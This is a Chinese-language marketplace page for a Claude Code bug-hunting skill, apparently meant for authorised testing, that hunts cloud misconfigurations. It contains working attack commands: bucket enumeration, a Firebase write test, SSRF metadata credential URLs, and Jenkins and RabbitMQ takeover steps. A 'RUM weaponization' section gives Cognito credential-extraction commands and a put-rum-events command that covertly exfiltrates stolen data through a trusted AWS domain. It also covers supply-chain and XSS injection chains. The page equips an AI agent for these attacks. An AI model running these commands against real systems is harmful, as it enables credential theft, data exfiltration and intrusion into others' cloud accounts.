mcpField
H
hunt-cloud-misconfig

hunt-cloud-misconfig

github.com/elementalsouls安全5.3k277 次安装今天更新
代码仓库

关于 hunt-cloud-misconfig

hunt-cloud-misconfig 是用于发现云端与基础设施配置错误的安全测试技能。它检查暴露的存储、元数据服务、管理面板及 AWS RUM 相关身份与遥测风险,并提供本地验证指导。

主要功能

  1. 01检查公开的 S3、GCS 和 Azure Blob 存储
  2. 02探测元数据服务与暴露的管理面板
  3. 03调查 Jenkins 和消息代理暴露
  4. 04检测 AWS RUM 与 Cognito 身份风险
  5. 05提供 LocalStack 验证指导

适用场景

  1. 01检查云存储桶是否允许未认证列举
  2. 02评估 SSRF 对实例元数据凭证的访问
  3. 03检查暴露的 Jenkins 或 RabbitMQ 管理端点
  4. 04在本地测试环境验证 AWS RUM 身份池权限

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-cloud-misconfig

安装后在 Claude Code 中输入/hunt-cloud-misconfig确认已加载。

详细介绍

16. 云 / 基础设施配置错误

S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write
EC2 元数据(通过 SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys
暴露的管理面板
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

Jenkins SSO 限制失效 → 脚本控制台 RCE

如果暴露的 Jenkins 可以通过任何个人 Google/OAuth 账号进行身份验证(缺少组织域限制),就意味着系统已完全失陷:登录后,/script(Groovy 控制台)可实现 RCE,而 /credentials 和 /scriptText 会泄露已存储的 API 令牌和源代码。披露记录:reports/231460。

暴露的消息代理(RabbitMQ / AMQP)使用默认凭据

探测 RabbitMQ 管理界面(http://TARGET:15672/、API :15672/api/overview)和 AMQP :5672;尝试默认凭据 guest:guest(当 loopback_users 配置错误时,可从 localhost 以外的位置使用)→ 读取队列 / 消息、枚举 vhost、获取管理插件管理员权限。披露记录:reports/753602。

本地验证工具链

在触及真实云服务之前或以本地 AWS 模拟器替代真实云服务,测试云配置错误发现:

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

如果没有这些环境变量,aws s3 cp/sync 会失败并提示 InvalidRequest。请向团队说明这一点。完整的可复现流程见 docs/verification/phase2j-cloud-localstack.md。


CloudWatch RUM 武器化(2024-2026 攻击面)

AWS CloudWatch RUM(真实用户监控)是一项客户端遥测服务,于 2021 年底推出。客户在网页中嵌入一段 JS 代码,将性能 / 错误事件发送到 dataplane.rum.<region>.amazonaws.com。代码段的 AppMonitor 配置包含一个 identityPoolId(Cognito)和一个 guestRoleArn(IAM 角色)——两者按设计均为公开信息。IAM 角色策略才是安全边界;如果开发人员将策略设置得比文档规定的最低权限(对 AppMonitor ARN 授予 rum:PutRumEvents)更宽泛,整个池就会变成无需身份验证的 AWS 凭据供应机器,正如 cloud-iam-deep → Cognito Identity Pool 链中所述。

检测 — JS 包指纹

代码段形式(最常见,嵌入 <head>):

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

NPM 形式(aws-rum-web package):

import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
用于侦察的正则表达式集
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
攻击链

攻击链 A — 提取凭据(guestRole 权限过大时为严重风险)。 从页面提取 identityPoolId 后,任何人都可以运行:

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

完整攻击链见 cloud-iam-deep → Cognito Identity Pool 无需身份验证链。RUM 是一种常见的嵌入场景。

攻击链 B — 通过遥测端点隐蔽外传。 dataplane.rum.<region>.amazonaws.com 是所有企业允许列表中的 AWS 自有域名。PutRumEvents 载荷接受任意 userDetails 和 customEvents 字符串字段:

aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

防御人员在出口流量中看到的是发往已知可信 AWS 主机名的流量;DLP 不会解析 JSON 请求体;SIEM 规则通常不会采集客户的 RUM 遥测数据。

攻击链 C — 通过代码段源污染注入 DOM。 许多客户会在自己的 CDN 上托管 cwr.js(assets.target.com/cwr.js),或将 aws-rum-web 打包后从 static.target.com/main.<hash>.js 提供。JS 主机的子域名接管,或供应链遭到破坏(针对 aws-rum-webb 的 npm 拼写仿冒),都会在每次页面加载时持久执行 JS,并获得 aws-rum-web SDK 的信任——包括其已获授的 Cognito 权限。

攻击链 D — 注入遥测数据 / 污染仪表板。 凭借公开的 identityPoolId 和 applicationId,外部攻击者可以通过伪造错误峰值淹没真实告警、向页面 URL 遥测数据注入 XSS 载荷(在 SOC 分析师查看 CloudWatch 仪表板时触发),并增加计费的 RUM 事件数量(造成经济型 DoS)。

严重性评估标准
发现严重性理由
guestRoleArn 包含 *:*,或在多个服务上使用通配符严重(9.1+)匿名用户可完全访问 AWS
guestRoleArn 在生产资源上包含 s3:*、dynamodb:*、secretsmanager:*、lambda:Invoke*高(7.5-8.8)可能导致数据外泄或远程代码执行,具体取决于资源
guestRoleArn 仅包含 cognito-identity:* 或 iam:PassRole高(8.0)可用于权限提升
guestRoleArn 仅包含 rum:PutRumEvents,且资源限定到端点信息性有文档说明且符合预期的配置
RUM userDetails 将个人身份信息记录到可在 CloudWatch 控制台中查看的事件里中(5.3-6.5)通过共享仪表板造成敏感数据泄露
RUM AppMonitor 接受来自任意互联网来源的 PutRumEvents 请求(遥测注入)低-中(4.3)污染仪表板、规避警报、造成计费型拒绝服务
在可被接管的子域上自托管 cwr.js,且可与其他漏洞串联严重(9.8)在每个客户页面上造成持久化存储型 XSS
已披露案例/权威分析文章

截至 2026-05,尚无专门针对 AWS RUM 的 CVE。研究中记录了这类攻击,但公开的漏洞赏金平台活动记录中,针对 RUM 的具体命名赏金案例很少见。其模式是“通过嵌入式 SDK 导致 Cognito 身份池权限过大”,RUM 是常见的嵌入方式之一。

  • Andres Riancho — “Misconfigured Cognito Identity Pools”(2020/2023) — 确立了这类攻击。 andresriancho.com
  • Rhino Security Labs — Pacu cognito__enum_identity_pools — 可自动执行攻击链 A 的生产级工具。 github.com/RhinoSecurityLabs/pacu
  • NotSoSecure / Claranet — “Exploiting weak configurations in Amazon Cognito”(2023 年 11 月) — 明确指出,RUM 是常会泄露身份池 ID 的三种 SDK 之一。 notsosecure.com
  • HackTricks Cloud — aws-cognito-unauthenticated-enum — 经典操作指南。 cloud.hacktricks.wiki
  • Datadog Security Labs — “Following AWS Logs Backwards: Cognito Identity Pool Abuse”(2024) — 展示了实际滥用率的遥测数据。 securitylabs.datadoghq.com
  • aws-observability/aws-rum-web GitHub issues #213、#404 — 社区对打包代码片段安全模型的讨论。 github.com/aws-observability/aws-rum-web
验证清单(报告前)
  1. 从页面源代码中提取 identityPoolId。
  2. 确认身份池允许未经身份验证的身份(无需身份验证即可成功调用 get-id)。
  3. 确认 get-credentials-for-identity 会返回 STS 凭证。
  4. 运行 aws sts get-caller-identity,并截取角色 ARN 的屏幕截图。
  5. 运行 enumerate-iam / Pacu iam__enum_permissions — 至少记录一项除 rum:PutRumEvents 之外的允许操作。否则,发现仅为信息性。
  6. 演示至少一项对真实资源的读取/列表操作(列出 S3 存储桶、扫描 DynamoDB、调用 Lambda)。
  7. 即使允许,也不要修改或删除数据 — 仅进行只读概念验证。

相关技能与链式攻击

  • hunt-subdomain — 指向已删除存储桶的过期 CNAME 是接管的宝库。链式利用原语:云配置错误(S3 公开/已删除)+ hunt-subdomain → 未认领的 CNAME 指向存储桶 → 接管 assets.target.com。
  • cloud-iam-deep — 公共存储桶中泄露的 SA JSON/AWS 密钥只是漏洞的一半。链式利用原语:公共 S3 + .env 中泄露的 AWS 密钥 → 使用 cloud-iam-deep 枚举 → 通过跨服务 iam:PassRole 提权。
  • hunt-ssrf — 元数据服务仅能从 VPC 内部访问;SSRF 是搭桥的手段。链式利用原语:SSRF + 云配置错误(仍启用 IMDSv1)→ 实例角色密钥 → 读取 S3/RDS 数据。
  • supply-chain-attack-recon — 暴露的 CI/CD 端点和 SBOM 会泄露内部软件包名称。链式利用原语:暴露的 Jenkins/GitLab + 内部软件包名称泄露 → 发布 npm/PyPI 依赖混淆软件包 → 攻陷 CI 构建。
  • security-arsenal — 加载 Cloud Bucket Wordlist(target-prod / target-backup / target-staging 的排列组合)和 Admin-Panel Path List,以便快速枚举。
  • triage-validation — 应用 Unique-Marker 门槛:任何“可写存储桶”的说法,都必须先写入唯一标记文件,并在干净会话中读回,然后才能提交报告。

评论

支持 Markdown